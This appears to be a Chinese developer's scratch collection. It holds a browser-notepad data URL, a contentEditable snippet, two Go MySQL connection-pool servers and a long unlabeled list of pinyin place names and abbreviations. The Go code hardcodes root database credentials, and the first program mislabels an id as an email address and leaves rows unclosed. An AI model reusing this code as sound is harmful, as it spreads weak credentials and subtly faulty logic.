把浏览器变成记事本
data:text/html, <html contenteditable>
随意可视化修改网页中的内容
document.body.contentEditable='true';
data:text/html, <html contenteditable>
document.body.contentEditable='true';
package main import ( "database/sql" "fmt" _ "github.com/ziutek/mymysql/godrv" _ "github.com/go-sql-driver/mysql" "log" "net/http" ) var MAX_POOL_SIZE=200 var MySQLPool chan *sql.DB func getMySQL() *sql.DB { if MySQLPool == nil { MySQLPool = make(chan *sql.DB, MAX_POOL_SIZE) } if len(MySQLPool) == 0 { go func() { for i := 0; i < MAX_POOL_SIZE/2; i++ { mysqlc, err := sql.Open("mymysql", "tcp:127.0.0.1:3306*dz32/root/123456") //mysqlc, err := sql.Open("mysql", "root:123456@tcp(127.0.0.1:3306)/dz32?charset=utf8") if err != nil { panic(err) } putMySQL(mysqlc) } }() } return <-MySQLPool } func putMySQL(conn *sql.DB) { if MySQLPool == nil { MySQLPool = make(chan *sql.DB, MAX_POOL_SIZE) } if len(MySQLPool) == MAX_POOL_SIZE { conn.Close() return } MySQLPool <- conn } func main() { startHttpServer() } func startHttpServer() { http.HandleFunc("/pool", pool) err := http.ListenAndServe(":9090", nil) if err != nil { log.Fatal("ListenAndServe: ", err) fmt.Println(123) } } func pool(w http.ResponseWriter, r *http.Request) { dbx :=getMySQL() //rows,_ := dbx.Query("select * from user") id := 1 var query = "SELECT id from users WHERE id = ?" rows, err := dbx.Query(query, id) if err != nil { log.Fatal(err) } var email string for rows.Next() { if err := rows.Scan(&email); err != nil { log.Fatal(err) } fmt.Printf("Email address: %s\n", email) } if err := rows.Err(); err != nil { log.Fatal(err) } defer putMySQL(dbx) }
package main import ( "database/sql" "fmt" _ "github.com/go-sql-driver/mysql" "log" "net/http" ) var db *sql.DB func init() { db, _ = sql.Open("mysql", "root:123456@tcp(127.0.0.1:3306)/dz32?charset=utf8") db.SetMaxOpenConns(150) db.SetMaxIdleConns(100) db.Ping() } func main() { startHttpServer() } func startHttpServer() { http.HandleFunc("/pool", pool) err := http.ListenAndServe(":9090", nil) if err != nil { log.Fatal("ListenAndServe: ", err) } } func pool(w http.ResponseWriter, r *http.Request) { err3:=db.Ping() if err3 != nil { fmt.Println(2222222) } rows, err := db.Query("SELECT id FROM users where id=1") defer rows.Close() checkErr(err) for rows.Next() { var userId int rows.Columns() err = rows.Scan(&userId) checkErr(err) fmt.Println(userId) } } func checkErr(err error) { if err != nil { fmt.Println(err) panic(err) } }
a aax ab aba abaga abg ac acheng ad aershan aes af ag ah aheqi ahq aihui aimin aj ak akesai akesu aketao aks akt al alaer alashan alashankou alashanyou alashanzuo ale aletai ali alishan alkeq als alsk alsy alsz alt alukeerqin am an anci anda anding anduo anfu angangxi angren anguo anhua anhui anji anju ankang anle anlong anlu annan anning anping anqing anqiu anren ansai anshan anshun antu anxi anxian anxiang anxin anyang anyi anyuan anyue anze aohan aomen ap aq ar arong as at ats atushen awati awt ax ay az b ba babu bachu bade badong bagongshan baicheng baihe baijiantan bailang baiquan baise baisha baishan baishui baita baiyin baiyu baiyun bali balikun balinyou balinzuo bama banan bangbu bange bangshan banma banqiao baoan baochi baode baoding baofeng baohe baoji baojing baokang baoqing baoshan baota baoting baotou baoxing baoying baozhong baqiao baqing basu batang bayan bayannaoer bayinguoleng bayuquan bazhong bazhou bb bc bd bdh beian beibei beichen beichuan beidaihe beidou beigang beiguan beihai beihu beijing beilin beiliu beilun beinan beipiao beipu beiqu beishi beita beitang beitou beitun beizhen bej benxi betl bf bg bgs bh bhxq bianba bijiang bijie bincheng binchuan binhai binhaixinqu binhu binjiang binxian binyang binzhou biru bishan bj bjt bk bl blk bly blz bm bn boai bobai boertala bohu bole boli boluo bomi boshan botou bowang boxiang boxing boye bozhou bp bq br bs bt budai buerjin butuo bw bx by bygl byne byq bz c ca caidian cangnan cangshan cangwu cangxi cangxian cangyuan cangzhou caotun caoxian cb cbcexb cbeh cc cd ceheng cele cengdou cengong cenxi cf cg ch chabuchaerxibo chahaeryouyihou chahaeryouyiqian chahaeryouyizhong chaling changde changdou changji changjiang changle changli changning changping changshan changshu changtu changyi changzhou chanhe chaoan chaohu chaonan chaotian chaoyang chaozhou chaya chayu checheng chenbaerhu chencang chengan chengbei chengbu chengcheng chengde chengdong chengdou chenggong chenggu chengguan chenghai chenghua chengjiang chengkou chengmai chengqu chengwu chengxi chengxian chengxiang chengyang chengzhong chengzihe chenxi chenzhou cheyyh cheyyq cheyyz chibi chicheng chifeng chikan chiping chishang chishui chizhou chongan chongchuan chongli chongming chongren chongwen chongxin chongyang chongyi chongzhou chongzuo chuanhui chuanshan chuanying chunan chunhua chunri chuxiong chuzhou cili citong cixi cixian cj ck cl cm cn conghua congjiang congtai cp cq cr cs ct cuiluan cuiping cuomei cuonei cuoqin cw cx cy cz czh d da daan dabancheng dachaidan dachang dacheng dachuan dacun dadong dadu dadukou daerhanmaomingan dafang dafeng daguan dahu dahua dailing daishan daixian daiyue dajia dalate dali dalian dalin daming danba dancheng dandong danfeng dangchang dangshan dangtu dangxiong dangyang daning danjiangkou danleng danshui dantu danxian danyang danzhai danzhou daocheng daofu daoli daowai daoxian daozhen dapi dapu daqing daren dari dashiqiao datangqu datian datong dawa dawu dawukou daxi daxiang daxin daxing daxinganling daya dayao daye dayi daying dayu dayuan dazhou dazhu dazi dazu db dbc dbs dc dcd dcf dd ddk dean debao debt dechang decheng dege dehmma dehong dehua dehui dejiang delingha dengfeng dengkou dengta dengzhou deqin deqing derong dexing deyang dezhou df dg dh dianbai dianjiang dianjun diaobingshan didao diebu diecai dingan dingbian dingcheng dinghai dinghu dingjie dingnan dingqing dingri dingtao dingxi dingxiang dingxing dingyuan dingzhou diqing dj djk djy dk dl dldq dlh dlt dm dn donga dongan dongbao dongchang dongchangfu dongcheng dongchuan dongfang dongfeng donggang dongguan dongguang donghai donghe donghu dongkou donglan dongli dongliao dongming dongning dongping dongpo dongqu dongshan dongsheng dongshi dongtai dongtou dongwuzhumuqin dongxiang dongxiangzu dongxihu dongxing dongyang dongying dongyuan dongzhi dongzhou douan douchang doujiangyan doulan douliu doumen dounan douyun dp dq dr ds dsq dsz dt dtq duanzhou duerbote duilongdeqing duji dunhua dunhuang duodao duolun dushan dushanzi dw dwk dwzmq dx dxal dxh dxz dy dz e eb ebian ec echeng ed edj eeds eegn eerduosi eerguna ejina ejn el elc elht elunchun em emei emeishan emin ems enping enshi ep eq erdao erdaojiang erlianhaote erlin erlun erqi ershui eryuan es eshan etk etkq etuoke etuokeqian ewenkezu ewkz ey ez ezhou f fa faku fanchang fancheng fangcheng fangchenggang fangliao fangshan fangxian fangyuan fangzheng fangzi fanlu fanxian fanyu fanzhi fb fc fcg fd feicheng feidong feixi feixian feixiang fengbin fengcheng fengdou fengfengkuang fenggang fenghua fenghuang fengjie fengkai fenglin fengman fengnan fengning fengqing fengqiu fengquan fengrun fengshan fengshun fengtai fengxian fengxiang fengxin fengyang fengyuan fengze fengzhen fenxi fenyang fenyi fenyuan ff ffk fg fh fj fk fl flej fm fn fogang foping foshan fp fq fr fs ft fuan fucheng fuchuan fuding fufeng fugong fugou fugu fuhai fujian fujin fukang fulaerji fuli fuliang fuling fumian fumin funan funing fuping fuqing fuquan furong fushan fushun fusong fusui futian fuxian fuxin fuxing fuyang fuyu fuyuan fuyun fuzhou fx fy fz g ga gaer gaize gaizhou gande gangba gangbei gangcha gangcheng gangkou gangnan gangu gangzha ganjingzi ganluo gannan ganquan gansu ganxian ganyu ganzhou ganzi gaoan gaobeidian gaocheng gaochun gaogang gaolan gaoling gaomi gaoming gaoping gaoqing gaoshu gaotai gaotang gaoxian gaoxiong gaoyang gaoyao gaoyi gaoyou gaozhou gb gbd gbjd gc gd ge geermu geji gejiu gem gengma genhe gf gg gh gj gjz gk gl gm gn gongan gongbujiangda gongcheng gongga gongguan gonghe gongjing gongjue gongliao gongliu gongnong gongqingcheng gongshan gongshu gongxian gongyi gongzhangling gongzhuling gp gq gqc gr gs gsh gt guan guancheng guandu guangan guangchang guangde guangdong guangfeng guangfu guanghan guanghe guangling guangnan guangning guangping guangrao guangshan guangshui guangxi guangyang guangyuan guangze guangzhou guangzong guanling guannan guanshan guanshanhu guantang guantao guanxi guanxian guanyang guanyin guanyun guazhou gucheng guichi guide guiding guidong guigang guilin guinan guiping guishan guixi guiyang guizhou gujiao gukeng gulang gulin gulou guoluo guoting guoxing gushan gushi gusu guta gutian guxian guyang guye guyuan guzhang guzhen gx gy gz gzl h ha habahe haerbin haian haibei haibowan haicang haicheng haidian haidong haiduan haifeng haigang haikou hailaer hailin hailing hailun haimen hainan haining haishu haitang haiwai haixi haixing haiyan haiyang haiyuan haizhou haizhu hami hanbin hancheng hanchuan handan hangjin hangjinhou hangzhou hanjiang hannan hanshan hanshou hantai hanting hanyang hanyin hanyuan hanzhong haojiang hb hbh hbkse hbw hc hd hdm hdx heb hebei hebi hebukesaier hecheng hechi hechuan hedong hefei hefeng hegang hegs heihe heilongjiang heishan heishui hejian hejiang hejin hejing hekou helan helingeer helong hemei henan hengchun hengdong hengfeng hengnan hengshan hengshui hengxian hengyang heping hepu heqing hequ heshan heshui heshun heshuo hetang hetian hexi hexian heyang heyuan heze hezhang hezheng hezhou hezuo hf hg hh hhg hhht hj hjh hk hl hlbe hld hle hlge hlgl hlj hm hn hongan hongdong honggang honggu honghe honghu honghuagang hongjiang hongkou hongqi hongqiao hongshan hongsibao hongta hongwei hongxing hongya hongyuan hongze houli houlong houma hp hq hr hs hsb hsg ht htb huaan huachi huachuan huade huadian huadima huadou huaian huaibei huaibin huaihua huaiji huailai huainan huaining huairen huairou huaishang huaiyang huaiyin huaiyuan hualian hualong huanan huancui huangchuan huangdao huangdaxian huanggang huanggu huanghua huangling huanglong huangmei huangnan huangping huangpo huangpu huangshan huangshi huangshigang huangyan huangyuan huangzhong huangzhou huaning huanjiang huanren huantai huanxian huaping huarong huashan huatan huating huaxi huaxian huayin huaying huayuan huazhou hubei hubin huguan huhehaote huian huichang huicheng huichuan huidong huiji huilai huili huimin huinan huining huinong huishan huishui huitong huixian huiyang huize huizhou hukou hulan huli hulin huludao hulunbeier huma hunan hunchun hunjiang hunnan hunyuan huocheng huoerguosi huojia huolinguole huoqiu huoshan huozhou huqiu hutubi huwei huxi huxian huzhong huzhou huzhu hw hx hy hz j ja jb jc jcj jcp jd jdz jf jg jgdq jgs jh jiacha jiading jiadong jiagedaqi jiahe jiajiang jiali jialing jiamo jiamusi jian jiancaoping jianchang jianchuan jiande jiangan jiangbei jiangcheng jiangchuan jiangda jiangdong jiangdou jiange jianggan jianghai jianghan jianghua jiangjin jiangkou jiangle jiangling jiangmen jiangnan jiangning jiangshan jiangsu jiangxi jiangxia jiangxian jiangyan jiangyang jiangyin jiangyong jiangyou jiangyuan jiangzhou jiangzi jianhe jianhu jianhua jianli jianning jianou jianping jianshan jianshi jianshui jianwei jianxi jianyang jianye jianzha jiaocheng jiaohe jiaojiang jiaokou jiaoling jiaoqu jiaoxi jiaozhou jiaozuo jiashan jiashi jiawang jiaxian jiaxiang jiaxing jiayi jiayin jiayu jiayuguan jidong jiedong jiefang jieshou jiexi jiexiu jieyang jiguan jiji jili jilin jilong jimei jimo jimunai jimusaer jinan jinchang jincheng jinchengjiang jinchuan jindong jinfeng jingan jingbian jingchuan jingde jingdezhen jingdong jinggangshan jinggu jinghai jinghe jinghong jinghu jingjiang jingkou jingle jingmen jingning jingshan jingtai jingtie jingxi jingxian jingxing jingxingkuang jingyan jingyang jingyu jingyuan jingzhou jinhu jinhua jining jinjiang jinkouhe jinmen jinnan jinning jinniu jinping jinsha jinshan jinshantun jinshi jinshui jinta jintai jintan jintang jinwan jinxi jinxian jinxiang jinxiu jinyang jinyuan jinyun jinzhai jinzhong jinzhou jishan jishishan jishou jishui jiujiang jiulong jiulongcheng jiulongpo jiuquan jiuru jiutai jiuyuan jiuzhaigou jiuzhi jixi jixian jiyang jiyuan jize jizhou jj jk jkh jl jlc jlp jm jmn jms jmse jn jo jp jq jr js jss jst jt juancheng julu junan junshan junxian jurong juxian juye jw jx jxk jy jyg jz jzg k kaifeng kaifu kaihua kaijiang kaili kailu kaiping kaixian kaiyang kaiyuan kalaqin kalaqinzuoyi kanding kangbao kangding kangle kangma kangping kangxian karuo kashen kashi kb kc kd kdl kecheng kedong keerqin keerqinyouyiqian keerqinyouyizhong keerqinzuoyihou keerqinzuoyizhong kel kelamayi kelan kenli keping keq keqiao keqyyq keqyyz keqzyh keqzyz keshan keshenketeng kezilesu kf kh kj kl klmy klq klqzy km kongtong kouhu kp kq kr ks kskt kt kuancheng kuandian kuangqu kuche kuerle kuiqing kuitun kuiwen kulun kundoulun kunming kunshan kw kx ky kzls l la laian laibin laicheng laifeng laishan laishui laiwu laixi laiyang laiyi laiyuan laizhou lancang langao langfang langkazi langxi langxian langya langzhong lankao lanling lanping lanshan lantian lanxi lanxian lanyu lanzhou laobian laocheng laohekou laoshan lasa lazi lb lc ld ldc lean lechang ledong ledou leibo leishan leiwuqi leiyang leizhou leling lenghu lengshuijiang lengshuitan leping leqing leshan leting leye lezhi lf lg lh lhk liancheng liandou liangcheng liangdang lianghe liangping liangqing liangshan liangyuan liangzhou liangzihu lianhu lianhua lianjiang liannan lianping lianshan lianshui lianyuan lianyun lianyungang lianzhou liaocheng liaoning liaoyang liaoyuan liaozhong libo licang licheng lichuan lidao lieshan ligang lijiang lijin liling linan linbian lincang lincheng linchuan lindian linfen lingao lingbao lingbi lingcheng lingchuan lingdong linghai linghe lingling lingqiu lingshan lingshi lingshou lingshui lingtai lingui lingwu lingya lingyuan lingyun linhai linhe linjiang linkou linli linluo linnei linqing linqu linquan linshu linshui lintan lintao lintong linwei linwu linxi linxia linxian linxiang linyi linying linyou linze linzhang linzhi linzhou linzi liping lipu liquan lishan lishi lishu lishui litang litong liuan liuba liubei liucheng liuhe liujiang liujiao liulin liunan liupanshui liuqiu liuqu liuyang liuzhite liuzhou liwan lixia lixian lixin liyang lizhou lj lk lkz ll lm lmt ln longan longchang longcheng longchuan longde longfeng longgang longhai longhu longhua longhui longjiang longjing longkou longli longlin longling longmatan longmen longnan longquan longquanyi longsha longshan longsheng longtan longting longwan longwei longwen longxi longxian longyan longyang longyao longyou longzhou longzi longzihu loudi loufan louxing lp lps lq lqy ls lsj lsk lst lt luancheng luanchuan luannan luanping luanxian lubei lucao lucheng luchuan lu:chun ludangcheng lu:dao ludian luding lu:eyang lufeng lugang lugu luhe luhuo lujiang luliang lu:liang lulong lunan lunbei luntai luobei luocheng luochuan luodian luoding luodong luohe luohu luojiang luolong luonan luoning luoping luopu luoshan luotian luoyang luoyuan luozha luozhuang luqiao luquan lushan lushi lushui lu:shunkou lusong luxi luxian luyang luye luyi lu:yuan luzhai luzhou luzhu lw lwq lx ly lyg lz lzh lzt m maanshan mabian macheng macun maduo maerkang magong maguan maigaiti maiji mailiao majia majiang malipo malong manasi mancheng mangkang mangshi mangya manzhou manzhouli maojian maoming maonan maoxian maqin maqu mas mashan mawei mayang mazhang mb mc md mdj meigu meihekou meijiang meilan meilie meilisi meishan meitan meixi meixian meizhou mek mengcheng mengcun menghai mengjin mengla menglian mengshan mengyin mengzhou mengzi mentougou menyuan mf mg mgt mh mhk mianchi mianning mianxian mianyang mianzhu miaoli midong midu mile milin miluo minfeng mingguang mingjian mingshan mingshui mingxi minhe minhou minle minqin minqing minquan minxian minxing minxiong mishan miyang miyi miyun mizhi mj mk ml mldw mlp mls mm mn mns mohe mojiang molidawa motuo mouding mouping moyu mozhugongka mp mq ms mt mtg muchuan mudan mudanjiang mulan mulei muleng muli muye mw mx my mz mzgk mzl n na naidong naiman nanan nanao nanbu nancha nanchang nancheng nanchong nanchuan nandan nanfen nanfeng nangang nangong nangqian nanguan nanhai nanhe nanhu nanhua nanjian nanjiang nanjiao nanjing nankai nankang nanle nanling nanming nanmulin nanning nanpi nanpiao nanping nanqiao nanqu nansha nanshan nanshi nantong nantou nantun nanxi nanxian nanxiong nanxun nanyang nanyue nanzhang nanzhao nanzheng nanzhou nanzhuang nanzi naxi nayong nb nc nd ne nehe neihu neihuang neijiang neimenggu neipo neipu neiqiu neiqu neixiang nenjiang nf ng nh nianzishan nielamu nierong nileke nima nimu ningan ningbo ningcheng ningde ningdou ninger ningguo ninghai ninghe ninghua ningjiang ningjin ninglang ningling ningming ningnan ningqiang ningshan ningwu ningxia ningxian ningxiang ningyang ningyuan nj nk nl nlk nlm nm nmg nml nn nongan np nq nr ns nt nuannuan nujiang nw nx ny nz nzs o oh ouhai p pa panan panji panjin panlong panshan panshi panxian panzhihua pb pc pd pds pdxq pe peixian pengan penghu pengjiang penglai pengshan pengshui pengxi pengyang pengze pengzhou pf pg ph pianguan pingan pingba pingbian pingchang pingchuan pingding pingdingshan pingdong pingdu pingfang pinggu pingguo pinghe pinghu pingjiang pingle pingli pingliang pinglin pinglu pingluo pingnan pingqiao pingquan pingshan pingshun pingtan pingtang pingwu pingxi pingxiang pingyang pingyao pingyi pingyin pingyu pingyuan pingzhen pishan pitou pixian pizhou pj pk pl pld pn potou poyang pozi pq ps pt puan pubei pucheng puding pudongxinqu puer puge pujiang pukou pulan pulandian puning putian putuo puxian puxin puyan puyang pw px py pz pzh q qa qb qbj qc qd qdn qf qg qgels qh qhd qhm qianan qiandongnan qianfeng qianguoerluosi qianjiang qianjin qiannan qianshan qianxi qianxian qianxinan qianyang qianzhen qiaocheng qiaodong qiaojia qiaokou qiaoxi qibin qichun qidong qidu qiemo qiezihe qihe qijiang qijin qilian qilihe qilin qimei qimen qinan qinbei qindou qingan qingbaijiang qingcheng qingchuan qingdao qingfeng qinggang qinghai qinghe qinghemen qingjian qingliu qinglong qingpu qingshan qingshanhu qingshen qingshui qingshuihe qingtian qingtongxia qingxian qingxin qingxiu qingxu qingyang qingyuan qingyun qingyunpu qingzhen qingzhou qinhuai qinhuangdao qinnan qinshui qinxian qinyang qinyuan qinzhou qionghai qiongjie qionglai qiongshan qiongzhong qiqihaer qishan qishuyan qitai qitaihe qiubei qiuxian qixia qixian qixing qixingguan qiyang qj qk ql qlh qm qml qn qp qqhe qs qsh qsy qt qth qtx quangang quanjiao quannan quanshan quanwan quanzhou queshan qufu qujiang qujing qumalai qushui qusong quwo quxian quyang quzhou qw qx qxg qxn qy qyp qz qzh r ra ranghulu rangtang raohe raoping raoyang rb rc rd reg renai renbu rencheng renhe renhua renhuai renqiu renshou renxian rf rg rh rhl rikaze ritu rizhao rj rkz rl rn rongan rongchang rongcheng rongjiang rongshui rongxian rp rq rs rt rucheng rudong rugao ruian ruichang ruicheng ruifang ruijin ruili ruisui runan runzhou ruoergai ruoqiang rushan ruyang ruyuan ruzhou rx ry rz s sa sad saertu saga saihan sajia sandimen sandou sangri sangzhi sangzhuzi sanhe sanjiang sanmen sanmenxia sanmin sanming sansha sanshan sanshui sansui santai sanwan sanxia sanxing sanya sanyi sanyuan sanzhi sanzhong sb sbxq sc sd sdm seda set sf sfh sfjg sft sg sgl sh shache shahe shahekou shalu shamen shancheng shandan shandong shangcai shangcheng shangdou shangganling shanggao shanghai shanghang shanghe shangjie shangli shanglin shangluo shangnan shangqiu shangrao shangshui shangsi shangyi shangyou shangyu shangzhi shangzhou shanhaiguan shannan shanshan shanting shantou shanwei shanxi shanxian shanyang shanyin shaodong shaoguan shaoshan shaowu shaoxing shaoyang shapingba shapotou shashi shatian shawan shaxian shaya shayang shayibake shehong shenbeixinqu shenchi shenfang shenganduo shengang shengfangjige shengsi shengzhou shenhe shenkeng shenmu shennongjialinqu shenqiu shenshuibu shenyang shenze shenzha shenzhen shenzhou sheqi shetou shexian sheyang shg shibei shibing shicheng shidian shiding shifeng shigang shigu shiguai shihe shihezi shijiazhuang shijingshan shilin shilong shilou shimen shimian shinan shiping shiqian shiqu shiquan shishi shishou shitai shitan shixing shiyan shizhong shizhu shizi shizishan shizong shizuishan shk shoufeng shouguang shouning shouxian shouyang shuangbo shuangcheng shuangfeng shuanghe shuanghu shuangjiang shuangliao shuangliu shuangluan shuangpai shuangqiao shuangqing shuangta shuangtaizi shuangxi shuangyang shuangyashan shucheng shufu shuicheng shuifu shuili shuilin shuimogou shuishang shulan shule shulin shunchang shuncheng shunde shunhe shunping shunqing shunyi shuocheng shuozhou shushan shuyang shz sichuan sifangtai sihong sihu sihui simao siming sinan siping sishui sixian siyang siziwang sj sjs sjt sjz sk sl sm smg smx sn snjlq snty sntz songbei songjiang songling songming songpan songshan songtao songxi songxian songyang songyuan songzi sp spb spt sq sr ss ssb st stz suao subei sucheng suibin suichang suichuan suide suifenhe suihua suijiang suileng suining suiping suixi suixian suiyang suizhong suizhou sujiatun sunan suning suniteyou sunitezuo sunwu suoxian suqian susong suxian suyu suzhou sw sx sy sybk sys sz szs szw szz t ta tacheng tahe taian taibai taibao taibei taicang taidong taierzhuang taigu taihe taihu taijiang taikang tailai taimali tainan taining taiping taipusi taiqian taishan taishun taiwan taiwu taixi taixing taiyuan taizhong taizhou taizihe tancheng tanghai tanghe tangshan tangwanghe tangxian tangyin tangyuan tantang tanzi taobei taocheng taojiang taonan taoshan taoyuan tashenkuergan tb tc td te tekesi tengchong tengxian tengzhou tez tf tg tgs th tiandeng tiandong tiane tianhe tianjiaan tianjin tianjun tianlin tianmen tianning tianqiao tianquan tianshan tianshui tiantai tianwei tianxin tianya tianyang tianyuan tianzhang tianzhen tianzhong tianzhu tiedong tiefeng tieli tieling tiemenguan tieshan tieshangang tiexi tinghu tj tja tk tks tkt tkx tl tlf tm tmg tml tmsk tmty tmtz tn tongan tongbo tongcheng tongchuan tongdao tongde tonggu tongguan tongguanshan tonghai tonghe tonghua tongjiang tongliang tongliao tongling tonglu tongluo tongnan tongren tongshan tongwei tongxiang tongxiao tongxin tongxu tongyu tongzhou tongzi toucheng toufen toutunhe touwu tp tps tq tr ts tsg tskeg tt tth tuanfeng tucheng tuku tulufan tumen tumoteyou tumotezuo tumushuke tunchang tunliu tunmen tunxi tuoketuo tuokexun tuoli tuquan tw twh tx ty tz tzh w wa wafangdian waipu wanan wanbolin wancheng wandan wangan wangcang wangcheng wangde wangdou wanghua wangjiang wangkui wangmo wangqing wangyi wanhua wanli wanluan wannian wanning wanquan wanrong wanshan wanxiu wanyuan wanzai wanzhou wanzi wb wbl wc wd wdlc weh weibin weichang weicheng weidong weidou weifang weihai weihui weili weinan weining weishan weishi weixi weixian weixin weiyang weiyuan wenan wenchang wencheng wenchuan wendeng wenfeng wengan wengniute wengyuan wenjiang wenling wenquan wenshan wenshang wensheng wenshui wensu wenxi wenxian wenzhou wf wfd wg wh wj wjg wjq wk wl wlcb wlht wlmq wlth wltq wltz wly wm wmh wn wnt wolong woyang wp wq wr ws wt wtq wuan wubao wuchang wucheng wuchuan wuda wudalianchi wudang wudi wuding wudou wuerhe wufeng wugang wugong wugu wuhai wuhan wuhe wuhou wuhu wuhua wuji wujiagang wujiang wujiaqu wujie wujin wulai wulan wulanchabu wulanhaote wulatehou wulateqian wulatezhong wulian wuling wulingyuan wulong wulumuqi wumahe wuming wuning wuping wuqi wuqia wuqiang wuqiao wuqing wuri wushan wushen wusheng wusu wutai wutongqiao wuwei wuxi wuxiang wuxing wuxuan wuxue wuyang wuyi wuyiling wuying wuyishan wuyuan wuzhai wuzhi wuzhishan wuzhong wuzhou ww wx wy wyl wys wz wzs x xa xb xbehy xbehz xc xd xe xf xg xgll xh xhl xhy xiacheng xiahe xiahuayuan xiajiang xiajin xialu xian xianan xianfeng xiangan xiangcheng xiangdong xiangfang xiangfen xianggang xianggelila xianghe xianghuang xiangning xiangqiao xiangshan xiangshui xiangtan xiangxi xiangxiang xiangyang xiangyin xiangyuan xiangyun xiangzhou xianju xianning xiantao xianxi xianxian xianyang xianyou xiaodian xiaogan xiaogang xiaojin xiaonan xiaoshan xiaoxian xiaoyi xiapu xiashan xiaxian xiayi xichang xicheng xichong xichou xichuan xide xiejiaji xietongmen xifeng xigang xigong xigu xihe xihu xihua xiji xikou xilin xiling xilinguole xilinhaote xiluo ximeng xinan xinbaerhuyou xinbaerhuzuo xinbei xinbin xincai xinchang xincheng xindian xindou xinfeng xinfu xingan xingang xingbin xingcheng xingguo xinghai xinghe xinghua xinghualing xinglong xinglongtai xingning xingping xingqing xingren xingshan xingtai xingtang xingwen xingxian xingye xingyi xingzi xinhe xinhua xinhuang xinhui xining xinji xinjian xinjiang xinjin xinle xinlin xinlong xinluo xinmi xinmin xinning xinpi xinping xinpu xinqing xinqiu xinrong xinshao xinshe xinshi xintai xintian xinwu xinxian xinxiang xinxing xinyang xinye xinyi xinyu xinyuan xinzheng xinzhou xinzhu xinzhuang xiongguan xionglin xiongxian xiping xiqing xiqu xisaishan xishan xishi xishuangbanna xishui xitun xiufeng xiulin xiuning xiushan xiushui xiuwen xiuwu xiuyan xiuying xiuyu xiuzhou xiwuzhumuqin xixia xixian xixiang xixiangtang xixiu xiyang xiyu xizang xizhi xizhou xj xjj xk xl xlgl xlht xlt xm xn xp xq xr xs xsbn xss xt xtm xuancheng xuanen xuanhan xuanhua xuanwei xuanwu xuanzhou xuchang xuecheng xuhui xundian xunhua xunke xunwu xunyang xunyi xupu xushui xuwen xuyi xuyong xuzhou xw xwzmq xx xxt xy xz y ya yaan yadong yajiang yakeshi yanan yanbian yancheng yanchi yanchuan yandou yanfeng yangbi yangcheng yangchun yangdong yanggao yanggu yangjiang yangling yangmei yangming yangpu yangqu yangquan yangshan yangshuo yangxi yangxian yangxin yangyuan yangzhong yangzhou yanhe yanhu yanji yanjiang yanjin yanliang yanling yanping yanpu yanqi yanqing yanshan yanshi yanshou yanta yantai yantan yantian yanting yanyuan yanzhang yanzhou yaoan yaodou yaohai yaozhou yazhou yb ybs yc yd yecheng yexian yf yg yh yht yian yibin yichang yicheng yichuan yichun yidou yifeng yihuang yijiang yijinhuoluo yijun yilan yili yiliang yiling yilong yima yimen yinan yinchuan yindou yingcheng yingde yingdong yingge yingjiang yingjing yingjisha yingkou yingquan yingshan yingshang yingshouyingzi yingtan yingxian yingyang yingze yingzhou yinhai yining yinjiang yintai yinzhou yishui yitong yiwu yixian yixing yixiu yiyang yiyuan yizhang yizheng yizhou yizhu yj yjhl yjs yjw yk yks yl ym yn yongan yongchang yongcheng yongchuan yongchun yongde yongdeng yongding yongfeng yongfu yonghe yongji yongjia yongjing yongkang yongnian yongning yongping yongqiao yongqing yongren yongshan yongsheng yongshou yongshun yongtai yongxin yongxing yongxiu yongzhou youhao youjiang youjianwang youxi youxian youyang youyi youyu yp yph yq yr ys ysyz yt yuan yuanan yuanbao yuanbaoshan yuancheng yuanhui yuanjiang yuanlang yuanli yuanlin yuanling yuanmou yuanping yuanqu yuanshan yuanshi yuanyang yuanzhang yuanzhou yubei yucheng yuchi yuci yudou yuecheng yuechi yuehu yuelu yuepuhu yuetang yuexi yuexiu yueyang yueyanglou yufeng yugan yuhang yuhong yuhu yuhua yuhuan yuhuatai yuhui yujiang yuli yulin yulong yumen yumin yunan yuncheng yunfu yunhe yunlian yunlin yunlong yunmeng yunnan yunxi yunxian yunxiao yunyan yunyang yuping yuqing yuquan yushan yushe yushu yushui yutai yutian yuwangtai yuxi yuxian yuyang yuyao yuzhong yuzhou yw ywt yx yy yyl yz z za zaduo zanhuang zaoqiang zaoqiao zaoyang zaozhuang zb zc zd zeku zengcheng zepu zezhou zf zg zge zh zhabei zhada zhalaite zhalantun zhalute zhanang zhangan zhangbai zhangbei zhangbin zhangcheng zhangchun zhangdao zhangdian zhangfeng zhangge zhanggong zhanghai zhanghua zhangjiachuan zhangjiagang zhangjiajie zhangjiakou zhangle zhangling zhangning zhangping zhangpu zhangqing zhangqiu zhangsha zhangshou zhangshu zhangshun zhangtai zhangting zhangwan zhangwu zhangxian zhangxing zhangyang zhangye zhangyuan zhangzhi zhangzhou zhangzi zhanhe zhanhua zhanjiang zhanqian zhanyi zhaoan zhaodong zhaohua zhaojue zhaoling zhaoping zhaoqing zhaosu zhaotong zhaoxian zhaoyang zhaoyuan zhaozhou zhecheng zhejiang zhenan zhenba zhenfeng zhengan zhengding zhenghe zhenglan zhengning zhengxiang zhengxiangbai zhengyang zhengzhou zhenhai zhenjiang zhenkang zhenlai zhenning zhenping zhenxing zhenxiong zhenyuan zherong zhidan zhiduo zhifu zhijiang zhijin zhongba zhongfang zhonghe zhongjiang zhongli zhongliao zhonglou zhongmou zhongning zhongpu zhongqing zhongqu zhongshan zhongwei zhongxi zhongxian zhongxiang zhongyang zhongyuan zhongzhan zhongzheng zhoucun zhoukou zhouning zhouqu zhoushan zhouzhi zhuanghe zhuanglang zhuangwei zhubei zhucheng zhudong zhuhai zhuhui zhuji zhumadian zhunan zhungeer zhuolan zhuolu zhuoni zhuoxi zhuozhou zhuozi zhuqi zhushan zhutang zhutian zhuxi zhuzhou zibo zichuan zigong zigui zijin ziliujing zitong zixi zixing ziyang ziyuan ziyun zizhang zizhong zizhou zj zjc zjg zjj zjk zk zl zlj zlt zm zmd zn zongyang zoucheng zouping zp zq zr zs zt zunhua zunyi zuogong zuoquan zuoshui zuoying zuoyun zw zx zxb zy zz chongqing bengbu chengdu fuzhou1 gubaotou jiaonan jining1 lvliang lvshun xiamen taizhou1 xiangfan xicang yichun1 yulin1 changchun changhai changsha changzhi ask gbt
